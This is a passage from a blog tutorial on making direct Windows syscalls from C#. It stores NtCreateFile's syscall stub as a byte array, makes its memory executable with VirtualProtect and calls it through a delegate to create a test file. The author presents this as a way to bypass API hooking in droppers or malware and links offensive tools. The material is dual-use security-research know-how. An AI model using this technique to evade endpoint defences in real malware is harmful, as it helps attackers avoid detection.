<p>If we were to utilize just one syscall, then we could just simply included it in the <code class="language-plaintext highlighter-rouge">Program.cs</code> file. But, by doing so, we would cause ourselves some headaches if later down the line we decided to build this program out for either more modularity or flexibility to easier integrate with other applications - be that droppers or malware.</p>
<p>So we need to always think into the future - and to start, it would be a good idea to separate all our syscall assemblies into a separate file. This way, if the need was to arise for the integration of more syscalls, then we can just add them into one class and simply call the assemblies from our program.</p>
<p>And that’s exactly what we are going to do here! We’ll start by adding a new file inside our solution and call it <code class="language-plaintext highlighter-rouge">Syscalls.cs</code>. Our solution structure should now look similar to the following.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+SharpCall SLN (Solution)
|
+->Properties
|
+->References
|
+->Program.cs (Main Program)
|
+->Syscalls.cs (Class to Hold our Assembly and Syscall Logic)
</code></pre></div></div>
<p>Great, we can start coding now, right? Well not really - we’re forgetting one major thing here. Remember that since we’ll be using unmanaged code, we also need to instantiate the Windows API functions so that we can call them from our C# program . And to utilize unmanaged functions, we need to <a href="https://docs.microsoft.com/en-us/dotnet/standard/managed-code">platform invoke (P/Invoke)</a> their structs and parameters, as well as any other additional flag fields.</p>
<p>Again, we can do this in the <code class="language-plaintext highlighter-rouge">Program.cs</code> file, but it will be much more cleaner and organized if we did all the P/Invoke work in a separate class. So, let’s add another file to our solution and call it <code class="language-plaintext highlighter-rouge">Native.cs</code> - since it will house our “native” windows functions.</p>
<p>Our solution structure should now look similar to the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+SharpCall SLN (Solution)
|
+->Properties
|
+->References
|
+->Program.cs (Main Program)
|
+->Syscalls.cs (Class to Hold our Assembly and Syscall Logic)
|
+->Native.cs (Class to Hold our Native Win32 APIs and Structs)
</code></pre></div></div>
<p>Now that we have our application organized, and know what goes where, we can finally start coding!</p>
<h2 id="writing-our-syscall-code">Writing our Syscall Code</h2>
<p>Since this is a proof of concept, I will use the <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile">NtCreateFile</a> system call to create a temporary file on our desktop. If we can get this to work then it’ll validate that our code logic is solid. Afterwards, we would then be able to focus on writing more complex tools and expanding our syscalls class with additional system calls.</p>
<p>Also, quick note - all of the code written below will only work on x64 systems and not x86.</p>
<p>Alright, to start, we need to get the assembly for our <strong>NtCreateFile</strong> syscall. As explained and detailed in my previous post, we can do so by utilizing <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools">WinDBG</a> to disassemble and inspect the call function of NtCreateFile in <strong>ntdll</strong>.</p>
<p>Upon getting the memory address of the function, and dissembling the instructions at the memory address, we should now see the following output.</p>
<p align="center"><a href="/images/create-file-syscall.jpg"><img src="/images/create-file-syscall.jpg" /></a></p>
<p>Upon looking at the disassembly, we see that our syscall identifier is 0x55. And if we look to the left of the assembly instructions, we’ll see the hexadecimal representation of our syscall instructions. Since there is no inline assembly in C#, we’re going to utilize these hexadecimal as shellcode, which will be added to a simply byte array.</p>
<p>We’ll do this by navigating to our <code class="language-plaintext highlighter-rouge">Syscalls.cs</code> file, and inside out syscalls class, we’ll create the new <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/static">static</a> byte array called <code class="language-plaintext highlighter-rouge">bNtCreateFile</code> - as shown.</p>
<p align="center"><a href="/images/syscall-code-1.png"><img src="/images/syscall-code-1.png" /></a></p>
<p>Awesome, so we have our first syscall assembly completed! But how are we going to build out the code to execute this? Well, if you paid attention in my previous post then you would have learned about something called <a href="https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/">delegates</a>.</p>
<p>Delegates are simply a type that represents <strong>references to methods</strong> with a particular parameter list and return type. When you instantiate a delegate, you can <strong>associate its instance</strong> with <strong>any method</strong> that has a compatible signature and return type. We can then can invoke our delegated method through the delegate instance.</p>
<p>This might sound a little confusing, but if you recall, in my last post we defined a new delegate called <code class="language-plaintext highlighter-rouge">EnumWindowsProc</code> and later defined the delegates implementation via <code class="language-plaintext highlighter-rouge">OutputWindow</code>. This implementation for the delegate simply told C# what we want to do with the data that is passed to this function reference - be it from managed or unmanaged code.</p>
<p>We can do the same thing here in our <code class="language-plaintext highlighter-rouge">Syscall.cs</code> class by defining a delegate to our unmanaged function - which in this case will be <strong>NtCreateFile</strong>. Once that delegate has been defined, we can go ahead and implement the logic that will handle transforming our syscall assembly to a valid function.</p>
<p>But let’s not get ahead of ourselves. First, we need to define the signature for our NtCreateFile delegate. To do so, we’ll start by creating a new public <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/builtin-types/struct">struct type</a> called <code class="language-plaintext highlighter-rouge">Delegates</code> within our <code class="language-plaintext highlighter-rouge">Syscall</code> class.</p>
<p>This struct will house all our native functions (delegate) signature so they can be utilized by our syscalls.</p>
<p align="center"><a href="/images/syscall-code-2.png"><img src="/images/syscall-code-2.png" /></a></p>
<p>Before we define our delegate, let’s take a look at the C syntax of NtCreateFile.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__kernel_entry</span> <span class="n">NTSTATUS</span> <span class="nf">NtCreateFile</span><span class="p">(</span>
<span class="n">OUT</span> <span class="n">PHANDLE</span> <span class="n">FileHandle</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">ACCESS_MASK</span> <span class="n">DesiredAccess</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ObjectAttributes</span><span class="p">,</span>
<span class="n">OUT</span> <span class="n">PIO_STATUS_BLOCK</span> <span class="n">IoStatusBlock</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">PLARGE_INTEGER</span> <span class="n">AllocationSize</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">ULONG</span> <span class="n">FileAttributes</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">ULONG</span> <span class="n">ShareAccess</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">ULONG</span> <span class="n">CreateDisposition</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">ULONG</span> <span class="n">CreateOptions</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">PVOID</span> <span class="n">EaBuffer</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">ULONG</span> <span class="n">EaLength</span>
<span class="p">);</span>
</code></pre></div></div>
<p>After looking at the syntax, we quickly notice a few things that we haven’t seen before.</p>
<p>Fist of all, we notice that the NtCreateFile function has a return type of <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55">NTSTATUS</a> which is a struct that contains an unsigned 32-bit integer for each message identifier. We also see that a few of the function parameters accept a set of different flags and structures, such as the <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b">ACCESS_MASK</a> flags, <a href="https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes">OBJECT__ATTRIBUTES</a> structure, and the <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_io_status_block">IO_STATUS_BLOCK</a> structure.</p>
<p>If we take a peek at the other function parameters like <code class="language-plaintext highlighter-rouge">FileAttributes</code>, and <code class="language-plaintext highlighter-rouge">CreateOptions</code>, we’ll see that they also accept specific flags.</p>
<p align="center"><a href="/images/syscall-code-3.png"><img src="/images/syscall-code-3.png" /></a></p>
<p align="center"><a href="/images/syscall-code-4.png"><img src="/images/syscall-code-4.png" /></a></p>
<p>So here lies the core problem of utilizing unmanaged code in C# - which is the fact that we need to <strong>manually</strong> create these flag enumerators and structures to contain the same value codes that Windows has. Otherwise if the parameters we pass into our syscall contain unexpected values, it will then cause the syscall to either break or return errors.</p>
<p>Thankfully for us, the <a href="https://www.pinvoke.net/">P/Invoke wiki</a> comes to the rescue. Here we can lookup how to implement our native functions, structs, and flags.</p>
<p>You can also use the Microsoft <a href="https://referencesource.microsoft.com/">Reference Source</a> website and search for the specific structures and access flags you need. These will be much closer to the original Windows references then what P/Invoke might have.</p>
<p>The following links should help us implement the necessary structures and flags needed to execute NtCreateFile with the proper parameter values:</p>
<ul>
<li><a href="https://www.pinvoke.net/default.aspx/Enums/NtStatus.html">NTSTATUS</a></li>
<li><a href="https://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK">ACCESS_MASK</a></li>
<li><a href="https://www.pinvoke.net/default.aspx/ntdll.ntcreatefile">OBJECT_ATTRIBUTES & IO_STATUS_BLOCK</a></li>
<li><a href="https://www.pinvoke.net/default.aspx/kernel32.CreateFile">FileAttributes, ShareAccess & CreateDisposition</a></li>
</ul>
<p>Since these values, structures and flags are all “native” to Windows, let’s go ahead and add them to the <code class="language-plaintext highlighter-rouge">Native.cs</code> file under the <code class="language-plaintext highlighter-rouge">Native</code> class.</p>
<p>After everything is implemented and cleaned up, part of your <code class="language-plaintext highlighter-rouge">Native.cs</code> file should look almost something like this.</p>
<p align="center"><a href="/images/syscall-code-5.png"><img src="/images/syscall-code-5.png" /></a></p>
<p>As a side note - this is just a small subset of the implemented native structs and flags. If you want to see the full implementation, then take a look at the <a href="https://github.com/jhalon/SharpCall/blob/master/Native.cs">Native.cs</a> file from the SharpCall project on my GitHub.</p>
<p>Also, take note on how we call the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/public">public</a> keyword before each struct and flag enumerator. This is done so that we can access the objects from other files in our program.</p>
<p>Awesome, now that we have those implemented we can go ahead and convert the C++ data types of NtCreateFile to C# data types. After conversion your C# syntax should look like this:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span> <span class="nf">NtCreateFile</span><span class="p">(</span>
<span class="k">out</span> <span class="n">Microsoft</span><span class="p">.</span><span class="n">Win32</span><span class="p">.</span><span class="n">SafeHandles</span><span class="p">.</span><span class="n">SafeFileHandle</span> <span class="n">FileHadle</span><span class="p">,</span>
<span class="n">FileAccess</span> <span class="n">DesiredAcces</span><span class="p">,</span>
<span class="k">ref</span> <span class="n">OBJECT_ATTRIBUTES</span> <span class="n">ObjectAttributes</span><span class="p">,</span>
<span class="k">ref</span> <span class="n">IO_STATUS_BLOCK</span> <span class="n">IoStatusBlock</span><span class="p">,</span>
<span class="k">ref</span> <span class="kt">long</span> <span class="n">AllocationSize</span><span class="p">,</span>
<span class="n">FileAttributes</span> <span class="n">FileAttributes</span><span class="p">,</span>
<span class="n">FileShare</span> <span class="n">ShareAccess</span><span class="p">,</span>
<span class="n">CreationDisposition</span> <span class="n">CreateDisposition</span><span class="p">,</span>
<span class="n">CreateOption</span> <span class="n">CreateOptions</span><span class="p">,</span>
<span class="n">IntPtr</span> <span class="n">EaBuffer</span><span class="p">,</span>
<span class="kt">uint</span> <span class="n">EaLength</span>
<span class="p">);</span>
</code></pre></div></div>
<p>Now, before we implement this structure as a delegate, let’s just brief over some of the converted data types.</p>
<p>As said before, usually any pointers or handles in C++ can be converted to an <a href="https://docs.microsoft.com/en-us/dotnet/api/system.intptr?view=netframework-4.8">IntPtr</a> in C#, but in this case you will notice that I converted the PHANDLE (a pointer to a <a href="https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types#handle">handle</a>) to be that of a <a href="https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.safehandles.safefilehandle?view=netframework-4.8">SafeFileHandle</a> data type. The reason we do this is because a <strong>SafeFileHandle</strong> represents a wrapper class for a file handle that C# will understand.</p>
<p>And since we are dealing with creating files and will be passing this data via delegates from managed to unmanaged code (and vice versa), we need to make sure that C# can handle and understand the data type it’s marshaling, otherwise we might encounter errors.</p>
<p>The rest should be self explanatory, as the <code class="language-plaintext highlighter-rouge">FileAttributes</code>, <code class="language-plaintext highlighter-rouge">FileShare</code> and those data types are simply a representation of the varaibles and values inside the structures and flag enumerators that we added to the <code class="language-plaintext highlighter-rouge">Native</code> class. This just tells C# that whenever data is passed into these parameters - be it a value or descriptor - then it needs to be referenced against that specific struct/flag enumerator.</p>
<p>A few others things you might have noticed is that I added the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/ref">ref</a> and <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/out-parameter-modifier">out</a> keywords to some of the parameters. Simply, these keywords indicate that arguments can to be passed by reference and not by value.</p>
<p>The difference between <strong>ref</strong> and <strong>out</strong> is that for the <strong>ref</strong> keyword, the parameter or argument must be initialized first before it is passed, unlike <strong>out</strong> where we don’t have to. The other difference is that for ref, data can be passed bi-directionally and any changes made to this argument in a method will be reflected in that variable when control returns to the calling method. For out, data is passed only in a unidirectional way and whatever value is returned to us by the calling method is set to the reference variable.</p>
<p>So in the case of NtCreateFile, we set the <strong>out</strong> keyword for <code class="language-plaintext highlighter-rouge">FileHandle</code> since this will be a pointer to a variable that <strong>receives</strong> the file handle if the call is <strong>successful</strong>. Which simply means that data is only being passed back “<strong>out</strong>” to us.</p>
<p>Makes sense? Good!</p>
<p>Now that we have this, we can finally add our C# syntax for NtCreateFile inside our newly added <code class="language-plaintext highlighter-rouge">Delegates</code> structure within our <code class="language-plaintext highlighter-rouge">Syscalls</code> class.</p>
<p>Once done, our Syscalls class should now look something like this.</p>
<p align="center"><a href="/images/syscall-code-6.png"><img src="/images/syscall-code-6.png" /></a></p>
<p><strong>NOTE</strong>: You might notice that I added <code class="language-plaintext highlighter-rouge">using static SharpCall.Native</code> at the top of the file. This simply tells C# to use the static class called <code class="language-plaintext highlighter-rouge">Native</code>. As explained before, we do this so we can directly use our native functions, struct and flag imports.</p>
<p>Alright, before we go on any further, take note that in the delegates structure, before we set up our NtCreateFile delegate, I’m calling the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.unmanagedfunctionpointerattribute?view=netframework-4.8">UnmanagedFunctionPointer</a> attribute. This attribute controls the marshaling behavior of a delegate signature as an unmanaged function pointer when it’s passed to or from unmanaged code.</p>
<p>This is a critical piece of information that we need to include since we will be using unsafe code to marshal our unmanaged pointer from the syscall assembly to these function delegates - as explained in my previous post.</p>
<p>Awesome, we’re making some progress! Now that we have our structures, flag enumerators, and our function delegate defined, we can now go ahead and begin implementing the delegate to handle any parameters passed into it. These parameters will initially then be handled by our syscall assembly.</p>
<p>Let’s go ahead and create (or in other words instantiate) our NtCreateFile function delegate. We can do this directly after our syscall assembly.</p>
<p>Once done, your <code class="language-plaintext highlighter-rouge">Syscalls.cs</code> file should look similar to whats shown below.</p>
<p align="center"><a href="/images/syscall-code-7.png"><img src="/images/syscall-code-7.png" /></a></p>
<p>The brackets with the <code class="language-plaintext highlighter-rouge">TODO</code> comment (right after our instantiated delegate) is where we will add the code to handle the data being passed to and from managed and unmanaged code.</p>
<p>If you recall from my last post, I explained how the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_">Marshal.GetDelegateForFunctionPointer</a> allows us to convert an unmanaged function pointer to a delegate of a specified type. By using that with the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/unsafe">unsafe</a> context, it would allow us to create a pointer to a memory location where our shellcode is located (which would be our syscall assembly) and will allow us to execute the assembly from managed code via the delegate.</p>
<p>We’ll be doing the same thing here. So for starters, let’s make sure that we create a new <a href="https://docs.microsoft.com/en-us/dotnet/api/system.byte?view=netframework-4.8">byte array</a> called <code class="language-plaintext highlighter-rouge">syscall</code> and set it to the same value as our <code class="language-plaintext highlighter-rouge">bNtCreateFile</code> assembly. Once done, specify the <strong>unsafe</strong> context and add some brackets which will house our unsafe code.</p>
<p>Once completed your newly updated <code class="language-plaintext highlighter-rouge">Syscalls.cs</code> file should look similar to the following.</p>
<p align="center"><a href="/images/syscall-code-8.png"><img src="/images/syscall-code-8.png" /></a></p>
<p>Now, just as I explained in my previous post - within that unsafe context, we will initialize a new byte pointer called <code class="language-plaintext highlighter-rouge">ptr</code> and set that to the value of <code class="language-plaintext highlighter-rouge">syscall</code> - which houses our byte array assembly.</p>
<p>As you will see below and as explained previously, we utilize the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/fixed-statement">fixed</a> statement for this pointer so that we can prevent the garbage collector from relocating our syscall byte array in memory.</p>
<p>Afterwards, we will simply <a href="https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/types/casting-and-type-conversions">cast</a> the byte array pointer into an IntPtr called <code class="language-plaintext highlighter-rouge">memoryAddress</code>. Doing this will allow us to obtain the memory address of where our syscall byte array is located within our application during execution.</p>
<p>Upon doing the above, our updated <code class="language-plaintext highlighter-rouge">Syscall.cs</code> file should look like the one presented below.</p>
<p align="center"><a href="/images/syscall-code-9.png"><img src="/images/syscall-code-9.png" /></a></p>
<p>Now for this part, I suggest you pay close attention as this is where the magic happens! 😉</p>
<p>Since we now have (or will have) a memory address of where our syscall assembly is located during application execution, we need to do something to make sure that it will execute properly within it’s allocated memory region.</p>
<p>If you’re familiar with how shellcode works during exploit development - whenever we want to write, read, or even execute shellcode within our target process or targeted memory pages, then we need to make sure that those memory regions have proper access rights. If you’re unfamiliar with this, then go read about the how the Windows security model enables you to control <a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">process security and access rights</a>.</p>
<p>For example, let’s see what kind of memory protections <strong>NtCreateFile</strong> has within notepad when it’s executing.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> x ntdll!NtCreateFile
00007ffb`f6b9cb50 ntdll!NtCreateFile (NtCreateFile)
0:000> !address 00007ffb`f6b9cb50
Usage: Image
Base Address: 00007ffb`f6b01000
End Address: 00007ffb`f6c18000
Region Size: 00000000`00117000 ( 1.090 MB)
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE
Allocation Base: 00007ffb`f6b00000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: ntdll.dll
Module Name: ntdll
Loaded Image Name: C:\Windows\SYSTEM32\ntdll.dll
Mapped Image Name:
More info: lmv m ntdll More info: !lmi ntdll More info: ln 0x7ffbf6b9cb50 More info: !dh 0x7ffbf6b00000 Content source: 1 (target), length: 7b4b0
</code></pre></div></div>
<p>As shown above - notepad has Read and Execute permissions for NtCreatreFile within it’s processes virtual memory. The reason for this is that notepad needs to make sure that it can execute the syscall and also must be able to read the return values.</p>
<p>In my previous post I explained how each applications virtual address space is private, and how one application can’t alter the data that belongs to another application - unless the process makes part of its private address space available.</p>
<p>Now since we are using unsafe context in C#, and are passing boundaries between managed and unmanaged code - then we need to manage the memory access within our programs virtual memory space since the CLR won’t do that for us! And we need to do this so we can write our parameters to our syscall, execute the syscall, and also read the returned data for our delegate!</p>
<p>But how can we do that? Well let me introduce you to our new little friend and lovely function called <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect">VirtualProtect</a>.</p>
<p>What <strong>VritualProtect</strong> allows us to do is to change the protection on a region of committed pages in the virtual address space of the calling process. Meaning that by using this native function against our syscalls memory address (which we just obtained) we can make sure that the virtual process memory is set to read-write-execute!</p>
<p>So with that, let’s implement this native function inside <code class="language-plaintext highlighter-rouge">Native.cs</code>. This way we can use it within <code class="language-plaintext highlighter-rouge">Syscalls.cs</code> to change the memory protection on our assembly.</p>
<p>As always, let’s take a peek at the C structure for this function.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">VirtualProtect</span><span class="p">(</span>
<span class="n">LPVOID</span> <span class="n">lpAddress</span><span class="p">,</span>
<span class="n">SIZE_T</span> <span class="n">dwSize</span><span class="p">,</span>
<span class="n">DWORD</span> <span class="n">flNewProtect</span><span class="p">,</span>
<span class="n">PDWORD</span> <span class="n">lpflOldProtect</span>
<span class="p">);</span>
</code></pre></div></div>
<p>It seems simple enough. We just need to remeber to add the <a href="http://pinvoke.net/default.aspx/kernel32/VirtualQueryEx.html">flNewProtect</a> flags along with the function.</p>
<p>Let’s go ahead and add this. Once done, our implemented memory protection flags inside the Native class should look like so.</p>
<p align="center"><a href="/images/syscall-code-10.png"><img src="/images/syscall-code-10.png" /></a></p>
<p>And the VirtualProtect function will look similar to the following.</p>
<p align="center"><a href="/images/syscall-code-11.png"><img src="/images/syscall-code-11.png" /></a></p>
<p>Beautiful! We’ve made a ton of progress already and we’re nearing the end! Well… sort of. There’s still a few more things to do.</p>
<p>Now that we have our VirtualProtect function implemented, let’s return to our <code class="language-plaintext highlighter-rouge">Syscall.cs</code> file, and execute the VirtualProtect function against our <code class="language-plaintext highlighter-rouge">memoryAddress</code> pointer to give it read-write-execute permissions.</p>
<p>At the same time, let’s put this native function inside an <strong>IF</strong> statement. That way if the function fails, we can throw a <a href="https://docs.microsoft.com/en-us/dotnet/api/system.componentmodel.win32exception?view=netframework-4.8">Win32Exception </a> to show us the error code and stop execution.</p>
<p>Also, make sure to add the <code class="language-plaintext highlighter-rouge">using System.ComponentModel;</code> directive at the top of your code. This way, you’ll be able to use the Win32Exception class.</p>
<p>Upon doing this, our code should look like the following:</p>
<p align="center"><a href="/images/syscall-code-12.png"><img src="/images/syscall-code-12.png" /></a></p>
<p>Alright, so if the execution of VirtualProtect is successful, then the virtual memory address of our unmanaged syscall assembly (which the <code class="language-plaintext highlighter-rouge">memoryAddress</code> variable is pointing to) should now have read-write-execute permissions.</p>
<p>This means that we now have an unmanaged function pointer. So as explained before, and in my previous post - what we need to do now, is we need to utilize <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_">Marshal.GetDelegateForFunctionPointer</a> to convert our unmanaged function pointer to a delegate of a specified type. In this case, we will be converting our function pointer to our <strong>NtCreateFile</strong> delegate.</p>
<p>Now, I know some of you might be a little confused or wondering why we are doing this. It should have became apparent to you what we are trying to do when I explained the memory protections. But either way, let me explain this so we’re all on the same page before we move on.</p>
<p>The reason we are converting our unmanaged function pointer to our NtCreateFile delegate is so that the function will behave like a callback function when our syscall assembly is executed. Take a look back into line 20 of our <code class="language-plaintext highlighter-rouge">Syscalls.cs</code> file.</p>
<p>What are we doing there? If you’re answer was “passing parameters into a function” then you’re right!</p>
<p>Once this delegate accepts our parameters to create a file, it will go ahead and update the memory location of our syscall to be read-write-execute. It will then take this pointer to the syscall and convert it to our NtCreateFile delegate - which essential is just converting our syscall to it’s actual function representation.</p>
<p>Once that’s done, we will call the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/return">return</a> statement against our initialized delegate along with our passed parameters. It’s essentially at this point that we are pushing the parameters onto the stack, executing the syscall, and returning the results back to the caller - which should be coming from <code class="language-plaintext highlighter-rouge">Program.cs</code>!</p>
<p>Makes sense now? Perfect! Consider yourself a graduate of syscall academy! 👨🎓</p>
<p>Okay, with all that explained let’s go ahead and implement our <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_">Marshal.GetDelegateForFunctionPointer</a> conversion by first instantiating our NtCreateFile delegate and calling it <code class="language-plaintext highlighter-rouge">assembledFunction</code>. Once done, let’s carry out the conversion of our unmanaged pointer to our delegate.</p>
<p>After that’s completed, we can write a simple return statement to return all the parameters from our syscall via the instantiated <code class="language-plaintext highlighter-rouge">assembledFunction</code> delegate.</p>
<p>Our finalized <code class="language-plaintext highlighter-rouge">Syscall.cs</code> code should now look like the following.</p>
<p align="center"><a href="/images/syscall-code-13.png"><img src="/images/syscall-code-13.png" /></a></p>
<p>And there we have it, the finalized version of how our syscall will execute once it’s function is called!</p>
<h2 id="executing-our-syscall">Executing our Syscall</h2>
<p>So, we implemented our syscall logic, now all that’s left to do is to actually write the code in our program to utilize the <strong>NtCreateFile</strong> function, which will initially execute our syscall.</p>
<p>For starters, let’s make sure we import our static classes so that we can use all our native functions and our syscall, like so.</p>
<p align="center"><a href="/images/syscall-code-14.png"><img src="/images/syscall-code-14.png" /></a></p>
<p>Once that’s done, we can start initializing the structures and variables required by <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile">NtCreateFile</a>, such as the file handle and object attributes.</p>
<p>But before we do that, let me just state one thing. The <a href="https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes">OBJECT_ATTRIBUTES</a>, specifically it’s <code class="language-plaintext highlighter-rouge">ObjectName</code> member, requires a pointer to a <a href="https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_unicode_string">UNICODE_STRING</a> that contains the name of the object for which a handle is to be opened. Specifically this is the file name that we want to create.</p>
<p>Now, for unmanaged code, to initialize this structure we need to call the <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntstrsafe/nf-ntstrsafe-rtlunicodestringinit">RtlUnicodeStringInit</a> function.</p>
<p>So, let’s make sure we add that function inside our <code class="language-plaintext highlighter-rouge">Native.cs</code> file so we can utilize that function.</p>
<p align="center"><a href="/images/syscall-code-15.png"><img src="/images/syscall-code-15.png" /></a></p>
<p>Once we have that, we can then go ahead and initialize our first few structures. We’ll create our file handle, as well as our unicode string structure.</p>
<p>We’ll opt for saving our test file to our desktop, so we’ll set the filename path to be <code class="language-plaintext highlighter-rouge">C:\Users\User\Desktop.test.txt</code> as shown below.</p>
<p align="center"><a href="/images/syscall-code-16.png"><img src="/images/syscall-code-16.png" /></a></p>
<p>After completing that, we can now initialize our <strong>OBJECT_ATTRIBUTES</strong> structure.</p>
<p align="center"><a href="/images/syscall-code-17.png"><img src="/images/syscall-code-17.png" /></a></p>
<p>Finally all that’s left to do is to initialize the <strong>IO_STATUS_BLOCK</strong> structure, and call our <strong>NtCreateFile</strong> delegate along with it’s parameters to execute the syscall!</p>
<p>After writing all that, your final <code class="language-plaintext highlighter-rouge">Program.cs</code> file should look like the following.</p>
<p align="center"><a href="/images/syscall-code-18.png"><img src="/images/syscall-code-18.png" /></a></p>
<p>Awesome, we finally completed our code! Now comes the most important part - compiling the code!</p>
<p>In Visual Studio make sure we change the <strong>Solution Configuration</strong> to “<strong>Release</strong>”. From there, in the toolbar above, click on <strong>Build</strong> –> <strong>Build Solution</strong>.</p>
<p>After a few seconds you should see the following output, which shows us that compilation was successful!</p>
<p align="center"><a href="/images/syscall-code-19.png"><img src="/images/syscall-code-19.png" /></a></p>
<p>Okay, let’s not get too excited! The code might still fail during testing, but I’m sure it won’t! 😁</p>
<p>To test our newly compiled code, let’s open up command prompt and navigate to where our project is compiled. In my case that’s <code class="language-plaintext highlighter-rouge">C:\Users\User\Source\Repos\SharpCall\bin\Release\</code>.</p>
<p>As you can see, there is no <code class="language-plaintext highlighter-rouge">test.txt</code> file on my desktop, as shown below.</p>
<p align="center"><a href="/images/syscall-code-20.png"><img src="/images/syscall-code-20.png" /></a></p>
<p>If everything goes well, then upon executing our <code class="language-plaintext highlighter-rouge">SharpCall.exe</code> executable, our syscall should be executed, and a new <code class="language-plaintext highlighter-rouge">test.txt</code> file should be created on the desktop.</p>
<p>Alright, the moment of truth. Let’s see this bad boy in action!</p>
<video width="800" height="400" controls="controls" muted="muted">
<source src="/images/syscall-code-21.mp4" type="video/mp4" />
</video>
<p>And there we have it! Our code works and were able to successfully execute our syscall!</p>
<p>But, how can we be so sure that it was the syscall that executed and not just the native api function from <strong>ntdll</strong>?</p>
<p>Well to make sure that it was our syscall that executed, we can once again utilize <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">Process Monitor</a> to monitor our executable.</p>
<p>From here, we can view specific Read/Write operation properties and their call stack.</p>
<p align="center"><a href="/images/syscall-code-22.png"><img src="/images/syscall-code-22.png" /></a></p>
<p>After monitoring the process during execution, we see that there was one <code class="language-plaintext highlighter-rouge">CreateFile</code> operation for our <code class="language-plaintext highlighter-rouge">test.txt</code> file. If we were to view the call stack of that operation, we would see the following.</p>
<p align="center"><a href="/images/syscall-code-23.png"><img src="/images/syscall-code-23.png" /></a></p>
<p>Well look at that! No calls from or to <strong>ntdll</strong> were made! Just a simple syscall from an unknown memory location to <strong>ntoskrnl.exe</strong>! We made a valid syscall!</p>
<p>This essentially would bypass any API hooking if there was one implemented on <strong>NtCreateFile</strong>! 😈</p>
<h2 id="closing">Closing</h2>
<p>And there we have it ladies and gentleman! After learning a lot about Windows Internals, Syscalls, and C#, you should now be able to utilize what you learned here to create your own syscalls in C#!</p>
<p>The final code for this project has been added to the <a href="https://github.com/jhalon/SharpCall">SharpCall</a> reposiroty on my Github.</p>
<p>Now I did mention at the start of this blog post that I’ll post a few links to projects that utilize that same functionality. So if you get stuck or just want some inspiration then I suggest you look at the following projects.</p>
<ul>
<li><a href="https://github.com/b4rtik/SharpMiniDump/">SharpMiniDump</a></li>
<li><a href="https://github.com/Kudaes/LOLBITS">LOLBITS</a></li>
<li><a href="https://github.com/badBounty/directInjectorPOC">directInjectPOC</a></li>
</ul>
<p>Alright, we’ll that’s pretty much it! I really appreciate everyone for reading these blog posts and for making Part 1 such a shocking success! I wasn’t expecting it to be so well received. Hopefully you enjoyed this part as much as part 1, and I also hope you learned something new!</p>
<p>Thanks for reading everyone!
